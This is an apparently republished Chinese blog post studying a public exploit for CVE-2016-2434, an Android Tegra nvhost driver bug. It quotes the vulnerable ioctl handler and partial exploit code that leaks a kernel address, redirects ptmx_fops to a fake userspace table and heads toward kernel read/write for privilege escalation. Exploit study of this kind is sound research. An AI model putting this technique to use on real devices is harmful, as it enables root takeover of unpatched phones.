EXP学习--CVE-2016-2434

编号: CVE-2016-2434
EXP: GitHub
EXP作者: jianqiangzhao


漏洞原理

这是同样是一个高通驱动中的权限提升漏洞,类似的漏洞还还有cve-2016-2435等几个.
代码位置:drivers/video/tegra/host/bus_client.c

1234567891011121314151617181920212223242526272829
static int (struct nvhost_channel *ch,        struct nvhost_set_error_notifier *args) {    void *va;    struct dma_buf *dmabuf;    if (!args->mem) {        dev_err(&ch->dev->dev, "invalid memory handlen");        return -EINVAL;    }    dmabuf = dma_buf_get(args->mem);    if (ch->error_notifier_ref)        nvhost_free_error_notifiers(ch);    if (IS_ERR(dmabuf)) {        dev_err(&ch->dev->dev, "Invalid handle: %dn", args->mem);        return -EINVAL;    }        va = dma_buf_vmap(dmabuf);    if (!va) {        dma_buf_put(dmabuf);        dev_err(&ch->dev->dev, "Cannot map notifier handlen");        return -ENOMEM;    }    /* set channel notifiers pointer */    ch->error_notifier_ref = dmabuf;    ch->error_notifier = va + args->offset; // args can be control    ch->error_notifier_va = va;    memset(ch->error_notifier, 0, sizeof(struct nvhost_notification));     return 0;}

函数在结尾的地方将ch->error_notifier置零,ch->error_notifier的值即va + args->offset,而args是可以被控制的。

漏洞利用

获取VA

由于置零的位置不是完全由args控制,还需要一个偏移va,首先需要确定va的值。

1234567891011121314151617181920212223242526272829303132333435363738394041
map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);      // alloc a large mem	........	if(map == MAP_FAILED) {		printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno));		ret = -1;		goto out;	}	printf("[+] landing mmap'ed @ %pn", map);	memset(map, 0xff, 0x10000000);      // set all mem to 0xff	fd = open("/dev/nvhost-vic", O_RDONLY);	if(fd == -1) {		printf("[-] Open nvhost-vic fail (%s - %d)n", strerror(errno), errno);		ret = -1;		goto open_vic_out;	}	printf("[+] open device nvhost-vicn");	memset(&arg, 0, sizeof(arg));	arg.mem = nvmap_handle;	arg.offset = (unsigned long)map - 0xffffff8000000000;      //adjust address with userspace start	arg.size = 0;	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;	ret = ioctl(fd, cmd, &arg);                              // call vul ioctl 	if(ret == -1) {		printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);		goto ioctl_out;	}	for(i=0; i<0x10000000/8; i++) {                        //find zero offset .aka va		tmp = *((unsigned long*)map + i);		if(tmp == 0) {			break;		} 	}	va = 0xffffff8000000000 + i * 8;	printf("[+] va position: 0x%lxn", va);        .........

步骤:

  • 1.分配以大段内存,并全部置为ff
  • 2.调用存在漏洞的ioctl,将一部分数据置零
  • 3.查找分配内存中的0,前面部分的数据即为VA

控制ptmx_cdev

由于有PXN的限制,直接将内核函数指针指向用户地址的payload的方法不可行,需要用其他的方法。EXP将内核结构题,ptmx_cdev的地址指向用户态,控制其中的函数指针指向内核中的ROP。由于针对特地设备,内核中关键符号的地址已经hardcode在exp中。
(关于如何在内核中定位符号可以查看我之前的文章内核符号获取)

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950
   .........   map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);if(map2 == MAP_FAILED) {	ret = -1;	printf("[-] shellcode mmap failed (%d-%s)n", errno, strerror(errno));	goto ioctl_out;}printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.n", map2);memset(map2, 0, 0x10000000);fake_ptmx_fops = PTMX_FOPS & 0xffffffff;                                         //fake PTMX_FOPS*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;printf("[+] clear ptmx_cdev list firstn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10;arg.size = 0;																//set the high 32 bit of ptmx_fops to zerocmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;                  //it will point to fake ptmx_fops in userspaceret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}printf("[+] overwrite ptmx_cdev opsn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10 - 4;arg.size = 0;cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;ret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}      ...........

步骤:

  • 1.在用户空间中部署一个伪造的ptmx_fops
  • 2.通过漏洞将内核ptmx_cdev指向用户态的伪造ptmx_fops
  • 3.修改伪造ptmx_fops中某些函数指针,指向内核中的rop,获得内核任意读写能力(这一步不在上面代码中,在使用时部署。在kernel_read_32/kernel_write_32函数中)

提权

提权部分依旧是查找cred并修改,不分析了

原文:大专栏  EXP学习--CVE-2016-2434


上一篇:LNMP的部署


下一篇:CentOS7编译安装PHP